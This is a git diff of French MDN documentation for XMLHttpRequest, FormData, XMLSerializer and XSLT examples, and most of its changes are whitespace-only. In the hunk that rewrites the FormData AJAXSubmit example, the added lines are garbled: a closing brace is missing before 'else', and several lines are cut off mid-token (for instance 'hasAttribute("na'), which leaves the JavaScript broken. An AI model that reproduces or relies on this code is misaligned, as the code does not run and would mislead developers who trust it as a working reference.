name="message" cols="40" rows="8"></textarea> + </p> + <p> + <input type="submit" value="Submit" /> + </p> + </fieldset> </form> <h3>Enctype: multipart/form-data</h3> <form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;"> - <fieldset> - <legend>Upload example</legend> - <p> - First name: <input type="text" name="firstname" /><br /> - Last name: <input type="text" name="lastname" /><br /> - Sex: - <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">Male</label> - <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">Female</label><br /> - Password: <input type="password" name="secret" /><br /> - What do you prefer: - <select name="image_type"> - <option>Books</option> - <option>Cinema</option> - <option>TV</option> - </select> - </p> - <p> - Post your photos: - <input type="file" multiple name="photos[]"> - </p> - <p> - <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /> <label for="vehicle_bike">I have a bike</label><br /> - <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /> <label for="vehicle_car">I have a car</label> - </p> - <p> - Describe yourself:<br /> - <textarea name="description" cols="50" rows="8"></textarea> - </p> - <p> - <input type="submit" value="Submit" /> - </p> - </fieldset> + <fieldset> + <legend>Upload example</legend> + <p> + First name: <input type="text" name="firstname" /><br /> + Last name: <input type="text" name="lastname" /><br /> + Sex: + <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">Male</label> + <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">Female</label><br /> + Password: <input type="password" name="secret" /><br /> + What do you prefer: + <select name="image_type"> + <option>Books</option> + <option>Cinema</option> + <option>TV</option> + </select> + </p> + <p> + Post your photos: + <input type="file" multiple name="photos[]"> + </p> + <p> + <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /> <label for="vehicle_bike">I have a bike</label><br /> + <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /> <label for="vehicle_car">I have a car</label> + </p> + <p> + Describe yourself:<br /> + <textarea name="description" cols="50" rows="8"></textarea> + </p> + <p> + <input type="submit" value="Submit" /> + </p> + </fieldset> </form> </body> </html> ``` -Pour le tester, créez une page nommée **register.php** (qui est l'attribut `action` des formulaires d'exemple) et mettez y ce contenu *minimaliste*: +Pour le tester, créez une page nommée **register.php** (qui est l'attribut `action` des formulaires d'exemple) et mettez y ce contenu *minimaliste*: ```php <?php @@ -504,15 +504,15 @@ La syntaxe de ce script est la suivante: AJAXSubmit(myForm); -> **Note :** Ce framework utilise l'API [`FileReader`](/en-US/docs/DOM/FileReader) pour transmettre les fichiers uploadés. C'est une API récente qui n'est pas implémentée dans IE9 ou inférieur. Pour cette raison, l'upload via AJAX uniquement **est une technique expérimentale**. Si vous n'avez pas besoin de transférer des fichiers binaires, ce framework fonctionne bien dans la majorité des navigateurs. +> **Note :** Ce framework utilise l'API [`FileReader`](/en-US/docs/DOM/FileReader) pour transmettre les fichiers uploadés. C'est une API récente qui n'est pas implémentée dans IE9 ou inférieur. Pour cette raison, l'upload via AJAX uniquement **est une technique expérimentale**. Si vous n'avez pas besoin de transférer des fichiers binaires, ce framework fonctionne bien dans la majorité des navigateurs. -> **Note :** La meilleure façon d'envoyer du contenu binaire est de passer par [ArrayBuffers](/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer) ou [Blobs](/en-US/docs/DOM/Blob) en conjonction avec la méthode [`send()`](/en-US/docs/DOM/XMLHttpRequest#send%28%29) et possiblement avec la méthode [`readAsArrayBuffer()`](</en-US/docs/DOM/FileReader#readAsArrayBuffer()>) de l'API [`FileReader`](/en-US/docs/DOM/FileReader). Mais dans la mesure où le but de ce script est de fonctionner avec des données [chaînifiable](/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify), nous avons utilisé la méthode [`sendAsBinary()`](/en-US/docs/DOM/XMLHttpRequest#sendAsBinary%28%29) en conjonction avec la méthode [`readAsBinaryString()`](/en-US/docs/DOM/FileReader#readAsBinaryString%28%29) de l'API [`FileReader`](/en-US/docs/DOM/FileReader). Du coup, le script ci-dessous n'a de sens que quand vous voulez transférer de petits fichiers. Si vous n'avez pas l'intention de transférer des données binaires, songez plutôt à utilisez l'API [`FormData`](/en-US/docs/DOM/XMLHttpRequest/FormData). +> **Note :** La meilleure façon d'envoyer du contenu binaire est de passer par [ArrayBuffers](/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer) ou [Blobs](/en-US/docs/DOM/Blob) en conjonction avec la méthode [`send()`](/en-US/docs/DOM/XMLHttpRequest#send%28%29) et possiblement avec la méthode [`readAsArrayBuffer()`](</en-US/docs/DOM/FileReader#readAsArrayBuffer()>) de l'API [`FileReader`](/en-US/docs/DOM/FileReader). Mais dans la mesure où le but de ce script est de fonctionner avec des données [chaînifiable](/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify), nous avons utilisé la méthode [`sendAsBinary()`](/en-US/docs/DOM/XMLHttpRequest#sendAsBinary%28%29) en conjonction avec la méthode [`readAsBinaryString()`](/en-US/docs/DOM/FileReader#readAsBinaryString%28%29) de l'API [`FileReader`](/en-US/docs/DOM/FileReader). Du coup, le script ci-dessous n'a de sens que quand vous voulez transférer de petits fichiers. Si vous n'avez pas l'intention de transférer des données binaires, songez plutôt à utilisez l'API [`FormData`](/en-US/docs/DOM/XMLHttpRequest/FormData). > **Note :** La méthode non-standard `sendAsBinary` est dépréciée à partir de Gecko 31 et sera prochainement supprimée. La méthode standard `send(Blob data)` peut être utilisée à la place. ### Utiliser les objets FormData -Le constructeur de [`FormData`](/en-US/docs/DOM/XMLHttpRequest/FormData) vous permet de compiler des paires de clé/valeur à envoyer via `XMLHttpRequest`. Il est principalement prévu pour être utilisé dans l'envoi de formulaires, mais il peut être utilisé indépendemment des formulaires dans le but de transmettre des données associées. Les données transmises sont de même format que la méthode `submit()` d'un formulaire utiliserait pour envoyer les données si l'encodage du formulaire était configuré à "multipart/form-data". Les objets FormData peuvent être utilisés de nombreuses manières avec XMLHttpRequest. Pour des exemples et des explications sur la manière d'utiliser FormData avec une XMLHttpRequest, jettez un oeil sur la page [Utiliser les Objets FormData](/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects). Pour des raisons didactiques seulement, nous postons ici **une** **traduction** **[du précédent exemple](#A_little_vanilla_framework) transformé pour utiliser l'API `FormData`**. Notez la brièveté du code : +Le constructeur de [`FormData`](/en-US/docs/DOM/XMLHttpRequest/FormData) vous permet de compiler des paires de clé/valeur à envoyer via `XMLHttpRequest`. Il est principalement prévu pour être utilisé dans l'envoi de formulaires, mais il peut être utilisé indépendemment des formulaires dans le but de transmettre des données associées. Les données transmises sont de même format que la méthode `submit()` d'un formulaire utiliserait pour envoyer les données si l'encodage du formulaire était configuré à "multipart/form-data". Les objets FormData peuvent être utilisés de nombreuses manières avec XMLHttpRequest. Pour des exemples et des explications sur la manière d'utiliser FormData avec une XMLHttpRequest, jettez un oeil sur la page [Utiliser les Objets FormData](/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects). Pour des raisons didactiques seulement, nous postons ici **une** **traduction** **[du précédent exemple](#A_little_vanilla_framework) transformé pour utiliser l'API `FormData`**. Notez la brièveté du code : ```html <!doctype html> @@ -524,31 +524,31 @@ Le constructeur de [`FormData`](/en-US/docs/DOM/XMLHttpRequest/FormData) vous p "use strict"; function ajaxSuccess () { - alert(this.responseText); + alert(this.responseText); } function AJAXSubmit (oFormElement) { - if (!oFormElement.action) { return; } - var oReq = new XMLHttpRequest(); - oReq.onload = ajaxSuccess; - if (oFormElement.method.toLowerCase() === "post") { - oReq.open("post", oFormElement.action, true); - oReq.send(new FormData(oFormElement)); - } else { - var oField, sFieldType, nFile, sSearch = ""; - for (var nItem = 0; nItem < oFormElement.elements.length; nItem++) { - oField = oFormElement.elements[nItem]; - if (!oField.hasAttribute("name")) { continue; } - sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT"; - if (sFieldType === "FILE") { - for (nFile = 0; nFile < oField.files.length; sSearch += "&" + escape(oField.name) + "=" + escape(oField.files[nFile++].name)); - } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) { - sSearch += "&" + escape(oField.name) + "=" + escape(oField.value); - } - } - oReq.open("get", oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&/, "?")), true); - oReq.send(null); - } + if (!oFormElement.action) { return; } + var oReq = new XMLHttpRequest(); + oReq.onload = ajaxSuccess; + if (oFormElement.method.toLowerCase() === "post") { + oReq.open("post", oFormElement.action, true); + oReq.send(new FormData(oFormElement)); + else { + var oField, sFieldType, nFile, sSearch = + for (var nItem = 0; nItem < oFormElement + oField = oFormElement.elements[nItem]; + if (!oField.hasAttribute("na + sFieldType = oField.nodeName + if (sFieldType === "FILE") { + for (nFile = 0; nFile < oField.files.length; sSearch += "&" + esca + } + + + } + oReq.open("get", oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&/, "?")), true); + oReq.send(null); + } } </script> </head> @@ -559,32 +559,32 @@ function AJAXSubmit (oFormElement) { <h2>Using the GET method</h2> <form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"> - <fieldset> - <legend>Registration example</legend> - <p> - First name: <input type="text" name="firstname" /><br /> - Last name: <input type="text" name="lastname" /> - </p> - <p> - <input type="submit" value="Submit" /> - </p> - </fieldset> + <fieldset> + <legend>Registration example</legend> + <p> + First name: <input type="text" name="firstname" /><br /> + Last name: <input type="text" name="lastname" /> + </p> + <p> + <input type="submit" value="Submit" /> + </p> + </fieldset> </form> <h2>Using the POST method</h2> <h3>Enctype: application/x-www-form-urlencoded (default)</h3> <form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"> - <fieldset> - <legend>Registration example</legend> - <p> - First name: <input type="text" name="firstname" /><br /> - Last name: <input type="text" name="lastname" /> - </p> - <p> - <input type="submit" value="Submit" /> - </p> - </fieldset> + <fieldset> + <legend>Registration example</legend> + <p> + First name: <input type="text" name="firstname" /><br /> + Last name: <input type="text" name="lastname" /> + </p> + <p> + <input type="submit" value="Submit" /> + </p> + </fieldset> </form> <h3>Enctype: text/plain</h3> @@ -594,51 +594,51 @@ function AJAXSubmit (oFormElement) { <h3>Enctype: multipart/form-data</h3> <form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;"> - <fieldset> - <legend>Upload example</legend> - <p> - First name: <input type="text" name="firstname" /><br /> - Last name: <input type="text" name="lastname" /><br /> - Sex: - <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">Male</label> - <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">Female</label><br /> - Password: <input type="password" name="secret" /><br /> - What do you prefer: - <select name="image_type"> - <option>Books</option> - <option>Cinema</option> - <option>TV</option> - </select> - </p> - <p> - Post your photos: - <input type="file" multiple name="photos[]"> - </p> - <p> - <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /> <label for="vehicle_bike">I have a bike</label><br /> - <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /> <label for="vehicle_car">I have a car</label> - </p> - <p> - Describe yourself:<br /> - <textarea name="description" cols="50" rows="8"></textarea> - </p> - <p> - <input type="submit" value="Submit" /> - </p> - </fieldset> + <fieldset> + <legend>Upload example</legend> + <p> + First name: <input type="text" name="firstname" /><br /> + Last name: <input type="text" name="lastname" /><br /> + Sex: + <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">Male</label> + <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">Female</label><br /> + Password: <input type="password" name="secret" /><br /> + What do you prefer: + <select name="image_type"> + <option>Books</option> + <option>Cinema</option> + <option>TV</option> + </select> + </p> + <p> + Post your photos: + <input type="file" multiple name="photos[]"> + </p> + <p> + <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /> <label for="vehicle_bike">I have a bike</label><br /> + <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /> <label for="vehicle_car">I have a car</label> + </p> + <p> + Describe yourself:<br /> + <textarea name="description" cols="50" rows="8"></textarea> + </p> + <p> + <input type="submit" value="Submit" /> + </p> + </fieldset> </form> </body> </html> ``` -> **Note :** Comme déjà dit, les objets **{{domxref("FormData")}} ne sont pas des objets [chainifiables](/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify)**. Si vous voulez chainifier les données soumises, utilisez [l'exemple précédent en *pure*-AJAX](#A_little_vanilla_framework). Notez également que, bien que dans cet exemple il y a quelques champs `file` {{ HTMLElement("input") }}, **quand vous soumettez un formulaire via l'API `FormData` vous n'avez pas besoin d'utiliser l'API [`FileReader`](/en-US/docs/DOM/FileReader) également** : les fichiers sont automatiquement chargés et transférés. +> **Note :** Comme déjà dit, les objets **{{domxref("FormData")}} ne sont pas des objets [chainifiables](/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify)**. Si vous voulez chainifier les données soumises, utilisez [l'exemple précédent en *pure*-AJAX](#A_little_vanilla_framework). Notez également que, bien que dans cet exemple il y a quelques champs `file` {{ HTMLElement("input") }}, **quand vous soumettez un formulaire via l'API `FormData` vous n'avez pas besoin d'utiliser l'API [`FileReader`](/en-US/docs/DOM/FileReader) également** : les fichiers sont automatiquement chargés et transférés. ## Récupérer la date de modification ```js function getHeaderTime () { - alert(this.getResponseHeader("Last-Modified")); /* Une chaine valide GMTString ou null */ + alert(this.getResponseHeader("Last-Modified")); /* Une chaine valide GMTString ou null */ } var oReq = new XMLHttpRequest(); @@ -654,24 +654,24 @@ Créons deux fonctions: ```js function getHeaderTime () { - var - nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)), - nLastModif = Date.parse(this.getResponseHeader("Last-Modified")); + var + nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)), + nLastModif = Date.parse(this.getResponseHeader("Last-Modified")); - if (isNaN(nLastVisit) || nLastModif > nLastVisit) { + if (isNaN(nLastVisit) || nLastModif > nLastVisit) { window.localStorage.setItem('lm_' + this.filepath, Date.now()); - isFinite(nLastVisit) && this.callback(nLastModif, nLastVisit); - } + isFinite(nLastVisit) && this.callback(nLastModif, nLastVisit); + } } function ifHasChanged(sURL, fCallback) { - var oReq = new XMLHttpRequest(); - oReq.open("HEAD" /* utilisons HEAD - nous ne voulons que les Headers ! */, sURL, true); - oReq.callback = fCallback; - oReq.filepath = sURL; - oReq.onload = getHeaderTime; - oReq.send(); + var oReq = new XMLHttpRequest(); + oReq.open("HEAD" /* utilisons HEAD - nous ne voulons que les Headers ! */, sURL, true); + oReq.callback = fCallback; + oReq.filepath = sURL; + oReq.onload = getHeaderTime; + oReq.send(); } ``` @@ -681,15 +681,15 @@ Test: /* Testons le fichier "mapage.html"... */ ifHasChanged("mapage.html", function (nModif, nVisit) { - alert("La page '" + this.filepath + "' a été changée le " + (new Date(nModif)).toLocaleString() + "!"); + alert("La page '" + this.filepath + "' a été changée le " + (new Date(nModif)).toLocaleString() + "!"); }); ``` -Si vous voulez savoir **si la _page courante_ a changée**, lisez l'article à propos de la propriété [`document.lastModified`](/en-US/docs/Web/API/document.lastModified). +Si vous voulez savoir **si la _page courante_ a changée**, lisez l'article à propos de la propriété [`document.lastModified`](/en-US/docs/Web/API/document.lastModified). ## Cross-site XMLHttpRequest -Les navigateurs récents supportent les requêtes cross-site en implémentant le Standard [Access Control for Cross-Site Requests](/en-US/docs/HTTP_access_control) (Web Application Working Group). Tant que le serveur est configuré pour autoriser les requêtes depuis l'origine de votre web application, `XMLHttpRequest` fonctionnera. Sinon, une exception `INVALID_ACCESS_ERR` sera lancée. +Les navigateurs récents supportent les requêtes cross-site en implémentant le Standard [Access Control for Cross-Site Requests](/en-US/docs/HTTP_access_control) (Web Application Working Group). Tant que le serveur est configuré pour autoriser les requêtes depuis l'origine de votre web application, `XMLHttpRequest` fonctionnera. Sinon, une exception `INVALID_ACCESS_ERR` sera lancée. ## Contourner le cache @@ -711,9 +711,9 @@ oReq.send(null); ## Sécurité -{{fx_minversion_note(3, "Les versions de Firefox avant Firefox 3 autorisaient à mettre les préférences <code>capability.policy.<policyname>.XMLHttpRequest.open</policyname></code> à <code>allAccess</code> pour donner l'accès cross-sites à des sites spécifiques. Cela n'est plus possible.")}} +{{fx_minversion_note(3, "Les versions de Firefox avant Firefox 3 autorisaient à mettre les préférences <code>capability.policy.<policyname>.XMLHttpRequest.open</policyname></code> à <code>allAccess</code> pour donner l'accès cross-sites à des sites spécifiques. Cela n'est plus possible.")}} -{{fx_minversion_note(5, "Les versions de Firefox avant Firefox 5 pouvaient utiliser <code>netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");</code> pour demander un accès cross-site. Ce n'est plus supporté, me^me si cela ne produit aucun avertissement et que la demande de permission est toujours présente.")}} +{{fx_minversion_note(5, "Les versions de Firefox avant Firefox 5 pouvaient utiliser <code>netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");</code> pour demander un accès cross-site. Ce n'est plus supporté, me^me si cela ne produit aucun avertissement et que la demande de permission est toujours présente.")}} La manière recommandée d'activer les requêtes intersites est d'utiliser l'en-tête HTTP `Access-Control-Allow-Origin` dans la réponse du `XMLHttpRequest`. @@ -723,7 +723,7 @@ Si vous vous retrouvez avec une `XMLHttpRequest` ayant `status=0` et `statusText ## Utiliser XMLHttpRequest depuis un module JavaScript / un composant XPCOM -Instancier une `XMLHttpRequest` depuis un [module JavaScript](/en-US/docs/JavaScript_code_modules/Using) ou un composant XPCOM fonctionne un peu différemment; on ne peut pas l'instancier via le constructeur `XMLHttpRequest()`. Le constructeur n'est pas défini dans le composant et le code retourne une erreur. Le meilleur moyen de fixer le problème est d'utiliser le constructeur du composant XPCOM. +Instancier une `XMLHttpRequest` depuis un [module JavaScript](/en-US/docs/JavaScript_code_modules/Using) ou un composant XPCOM fonctionne un peu différemment; on ne peut pas l'instancier via le constructeur `XMLHttpRequest()`. Le constructeur n'est pas défini dans le composant et le code retourne une erreur. Le meilleur moyen de fixer le problème est d'utiliser le constructeur du composant XPCOM. ```js const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest"); diff --git a/files/fr/web/api/xmlhttprequest/withcredentials/index.md b/files/fr/web/api/xmlhttprequest/withcredentials/index.md index ec22be411b..e7cb522304 100644 --- a/files/fr/web/api/xmlhttprequest/withcredentials/index.md +++ b/files/fr/web/api/xmlhttprequest/withcredentials/index.md @@ -11,9 +11,9 @@ translation_of: Web/API/XMLHttpRequest/withCredentials --- {{APIRef('XMLHttpRequest')}} -La propriété **`XMLHttpRequest.withCredentials`** est un booléen qui indique si une requête `Access-Control` entre plusieurs sites devrait être réalisée avec des informations d'authentification (_credentials_) telles que des cookies, des en-têtes d'autorisation ou des certificats clients. Activer `withCredentials` n'aura aucun impact sur les requêtes effectuées sur un même site. +La propriété **`XMLHttpRequest.withCredentials`** est un booléen qui indique si une requête `Access-Control` entre plusieurs sites devrait être réalisée avec des informations d'authentification (_credentials_) telles que des cookies, des en-têtes d'autorisation ou des certificats clients. Activer `withCredentials` n'aura aucun impact sur les requêtes effectuées sur un même site. -Cette propriété est également utilisée afin d'indiquer lorsque les cookies doivent être ignorés pour une réponse. Par défaut, la valeur est à `false`. Une requête `XMLHttpRequest` d'un autre domaine ne pourra pas définir de cookies pour cet autre domaine à moins que `withCredentials` vaille `true` avant la requête. +Cette propriété est également utilisée afin d'indiquer lorsque les cookies doivent être ignorés pour une réponse. Par défaut, la valeur est à `false`. Une requête `XMLHttpRequest` d'un autre domaine ne pourra pas définir de cookies pour cet autre domaine à moins que `withCredentials` vaille `true` avant la requête. Les cookies tiers obtenus lorsque `withCredentials` vaut `true` continuent de respecter la règle de même origine et ne peuvent donc pas être manipulés en script via [`document.cookie`](/fr/docs/Web/API/Document/cookie) ou depuis les en-têtes de la réponse. @@ -34,7 +34,7 @@ xhr.send(null); | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ------------------------------------ | ------------ | -| {{SpecName('XMLHttpRequest', '#the-withcredentials-attribute')}} | {{Spec2('XMLHttpRequest')}} | | +| {{SpecName('XMLHttpRequest', '#the-withcredentials-attribute')}} | {{Spec2('XMLHttpRequest')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/xmlhttprequest/xmlhttprequest/index.md b/files/fr/web/api/xmlhttprequest/xmlhttprequest/index.md index 58857af3a9..df589c5b4d 100644 --- a/files/fr/web/api/xmlhttprequest/xmlhttprequest/index.md +++ b/files/fr/web/api/xmlhttprequest/xmlhttprequest/index.md @@ -35,7 +35,7 @@ Un nouvel objet {{domxref("XMLHttpRequest")}}. L'objet doit être au minimum ini ## La syntaxe de Firefox non-standard -Firefox 16 a ajouté un paramètre non standard au constructeur qui peut activer le mode anonyme (voir {{Bug("692677")}}). Mettre le drapeau `mozAnon` à `true` revient à être identique au constructeur [`AnonXMLHttpRequest()`](http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest) décrit dans de vieilles versions des specifications de XMLHttpRequest. +Firefox 16 a ajouté un paramètre non standard au constructeur qui peut activer le mode anonyme (voir {{Bug("692677")}}). Mettre le drapeau `mozAnon` à `true` revient à être identique au constructeur [`AnonXMLHttpRequest()`](http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest) décrit dans de vieilles versions des specifications de XMLHttpRequest. const request = new XMLHttpRequest(paramsDictionary); diff --git a/files/fr/web/api/xmlserializer/index.md b/files/fr/web/api/xmlserializer/index.md index 0823351087..58d40e6ce9 100644 --- a/files/fr/web/api/xmlserializer/index.md +++ b/files/fr/web/api/xmlserializer/index.md @@ -28,16 +28,16 @@ original_slug: XMLSerializer var s = new XMLSerializer(); var stream = { - close : function() + close : function() { alert("Flux fermé"); }, - flush : function() + flush : function() { }, - write : function(string, count) + write : function(string, count) { - alert("'" + string + "'\n nb d'octets : " + count + ""); + alert("'" + string + "'\n nb d'octets : " + count + ""); } }; s.serializeToStream(document, stream, "UTF-8"); diff --git a/files/fr/web/api/xsltprocessor/basic_example/index.md b/files/fr/web/api/xsltprocessor/basic_example/index.md index f7de3132b2..d756065dd3 100644 --- a/files/fr/web/api/xsltprocessor/basic_example/index.md +++ b/files/fr/web/api/xsltprocessor/basic_example/index.md @@ -18,9 +18,9 @@ La figure 1 montre le code source de l'exemple XSLT. Le document XML (exemple.xm Une feuille de style XSLT débute par l'élément `xsl:stylesheet`, qui contient tous les modèles utilisés pour créer le résultat final. L'exemple de la figure 1 possède deux modèles - un qui s'applique au nœud racine et un aux nœuds `Author`. Le modèle correspondant au nœud racine produit en sortie le titre de l'article puis déclenche le traitement de tous les autres modèles (via `apply-templates`) correspondant aux nœuds `Author` qui sont les descendants du nœud `Authors`. -Figure 1 : exemple XSLT simple +Figure 1 : exemple XSLT simple -Document XML (exemple.xml) : +Document XML (exemple.xml) : <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="exemple.xsl"?> @@ -33,7 +33,7 @@ Document XML (exemple.xml) : <Body>Ceci est le texte de mon article.</Body> </Article> -Feuille de style XSL (exemple.xsl) : +Feuille de style XSL (exemple.xsl) : <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> @@ -42,7 +42,7 @@ Feuille de style XSL (exemple.xsl) : <xsl:template match="/"> Article - <xsl:value-of select="/Article/Title"/> - Auteurs : <xsl:apply-templates select="/Article/Authors/Author"/> + Auteurs : <xsl:apply-templates select="/Article/Authors/Author"/> </xsl:template> <xsl:template match="Author"> @@ -51,10 +51,10 @@ Feuille de style XSL (exemple.xsl) : </xsl:stylesheet> -Sortie dans le navigateur : +Sortie dans le navigateur : Article - Mon article - Auteurs : + Auteurs : - M. Foo - M. Bar diff --git a/files/fr/web/api/xsltprocessor/generating_html/index.md b/files/fr/web/api/xsltprocessor/generating_html/index.md index 535ee31fe5..6b79d2d94e 100644 --- a/files/fr/web/api/xsltprocessor/generating_html/index.md +++ b/files/fr/web/api/xsltprocessor/generating_html/index.md @@ -16,7 +16,7 @@ Une application courante de XSLT dans les navigateurs est la transformation de c L'élément `<body>` de l'article contient maintenant des éléments HTML (des balises `<strong>` et `<em>`, voir la figure 2). Le document XML contient à la fois des éléments HTML et éléments XML, mais un seul espace de nommage est nécessaire, pour les éléments XML. Comme il n'existe pas d'espace de nommage HTML, et que l'utilisation de l'espace de nommage XHTML forcerait le XSL à créer un document XML qui pourrait ne pas se comporter comme un document HTML, le nœud `xsl:output` de la feuille de style assure que le document résultant sera bien traité comme du HTML. Pour les éléments XML, nous avons besoin de notre propre espace de nommage, [`http://devedge.netscape.com/2002/de`](http://devedge.netscape.com/2002/de), à qui nous donnons le préfixe myNS `(xmlns:myNS="http://devedge.netscape.com/2002/de")`. -**Figure 2 : fichier XML (example2.xml)voir l'exemple | voir le source** Document XML (example2.xml): \<div style="background: #EEE; font-size: 1.1em; line-height: 1.1em; border: dashed #666 1px; padding: 15px 20px 15px 20px; overflow: auto;"> +**Figure 2 : fichier XML (example2.xml)voir l'exemple | voir le source** Document XML (example2.xml): \<div style="background: #EEE; font-size: 1.1em; line-height: 1.1em; border: dashed #666 1px; padding: 15px 20px 15px 20px; overflow: auto;"> <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="example.xsl"?> @@ -34,7 +34,7 @@ L'élément `<body>` de l'article contient maintenant des éléments HTML (des b La feuille de style XSL utilisée aura besoin de deux espaces de nommage - un pour les éléments XSLT et un pour nos propres éléments XML utilisés dans le document XML. La sortie de la feuille de style XSL est définie à `HTML` à l'aide de l'élément `xsl:output`. En définissant la sortie comme étant du code HTML et en n'ayant pas d'espace de nommage pour les éléments résultants (coloré en bleu), ces éléments seront traités comme des éléments HTML. -**Figure 3 : feuille de style XSL avec 2 espaces de nommage** (example2.xsl) feuille de style XSL (example2.xsl): +**Figure 3 : feuille de style XSL avec 2 espaces de nommage** (example2.xsl) feuille de style XSL (example2.xsl): <?xml version="1.0"?> <xsl:stylesheet version="1.0" @@ -47,7 +47,7 @@ La feuille de style XSL utilisée aura besoin de deux espaces de nommage - un po Un modèle s'appliquant au nœud racine du document XML est créé et utilisé pour créer la structure de base de la page HTML. -**Figure 4 : Création du document HTML de base** feuille de style XSL (example2.xsl): +**Figure 4 : Création du document HTML de base** feuille de style XSL (example2.xsl): ... <xsl:template match="/"> @@ -71,7 +71,7 @@ Un modèle s'appliquant au nœud racine du document XML est créé et utilisé p <xsl:value-of select="/myNS:Article/myNS:Title"/> </span> <br /> - Auteurs : <br /> + Auteurs : <br /> <xsl:apply-templates select="/myNS:Article/myNS:Authors/myNS:Author"/> </p> @@ -85,16 +85,16 @@ Un modèle s'appliquant au nœud racine du document XML est créé et utilisé p </xsl:template> ... -Nous avons besoin de trois `xsl:template` supplémentaires pour parachever l'exemple. Le premier `xsl:template` est utilisé pour les nœuds `Author`, alors que le deuxième traite le nœud `body`. Le troisième possède une règle de correspondance générale qui lui permet de s'appliquer à chaque nœud et chaque attribut. Cela est nécessaire afin de préserver les éléments HTML présents dans le document XML : il s'appliquant à tous, et les recopie dans le document HTML créé par la transformation. +Nous avons besoin de trois `xsl:template` supplémentaires pour parachever l'exemple. Le premier `xsl:template` est utilisé pour les nœuds `Author`, alors que le deuxième traite le nœud `body`. Le troisième possède une règle de correspondance générale qui lui permet de s'appliquer à chaque nœud et chaque attribut. Cela est nécessaire afin de préserver les éléments HTML présents dans le document XML : il s'appliquant à tous, et les recopie dans le document HTML créé par la transformation. -**Figure 5 : Les 3 modèles finaux** feuille de style XSL (example2.xsl): +**Figure 5 : Les 3 modèles finaux** feuille de style XSL (example2.xsl): ... <xsl:template match="myNS:Author"> -- <xsl:value-of select="." /> <xsl:if test="@company"> - :: <strong> <xsl:value-of select="@company" /> </strong> + :: <strong> <xsl:value-of select="@company" /> </strong> </xsl:if> <br /> @@ -113,9 +113,9 @@ Nous avons besoin de trois `xsl:template` supplémentaires pour parachever l'exe </xsl:template> ... -La feuille de style XSLT finale est donc : +La feuille de style XSLT finale est donc : -**Figure 6 : feuille de style XSLT finale voir l'exemple | voir le source** feuille de style XSL : +**Figure 6 : feuille de style XSLT finale voir l'exemple | voir le source** feuille de style XSL : <?xml version="1.0"?> <xsl:stylesheet version="1.0" @@ -162,7 +162,7 @@ La feuille de style XSLT finale est donc : -- <xsl:value-of select="." /> <xsl:if test="@company"> - :: <b> <xsl:value-of select="@company" /> </b> + :: <b> <xsl:value-of select="@company" /> </b> </xsl:if> <br /> diff --git a/files/fr/web/api/xsltprocessor/xsl_transformations_in_mozilla_faq/index.md b/files/fr/web/api/xsltprocessor/xsl_transformations_in_mozilla_faq/index.md index 59b57119e7..8006c9c22f 100644 --- a/files/fr/web/api/xsltprocessor/xsl_transformations_in_mozilla_faq/index.md +++ b/files/fr/web/api/xsltprocessor/xsl_transformations_in_mozilla_faq/index.md @@ -6,21 +6,21 @@ tags: translation_of: Web/API/XSLTProcessor/XSL_Transformations_in_Mozilla_FAQ original_slug: FAQ_sur_les_transformations_XSL_dans_Mozilla --- -#### Pourquoi ma feuille de style ne s'applique pas ? +#### Pourquoi ma feuille de style ne s'applique pas ? Vérifiez que le type MIME du document source et de la feuille de style est bien un type MIME XML, à savoir `text/xml` ou `application/xml`. L'espace de nommage XSLT est `http://www.w3.org/1999/XSL/Transform`. Utilisez l'instruction de traitement `<?xml-stylesheet ?>` plutôt que l'élément non standard `xml:stylesheet`. Le problème le plus courant est la gestion du type MIME. Pour savoir quel type MIME est envoyé par votre serveur, consultez les Informations sur la page, utilisez une extension telle que [LiveHTTPHeaders (en)](http://livehttpheaders.mozdev.org/) ou un gestionnaire de téléchargements comme wget. Mozilla ne chargera pas les 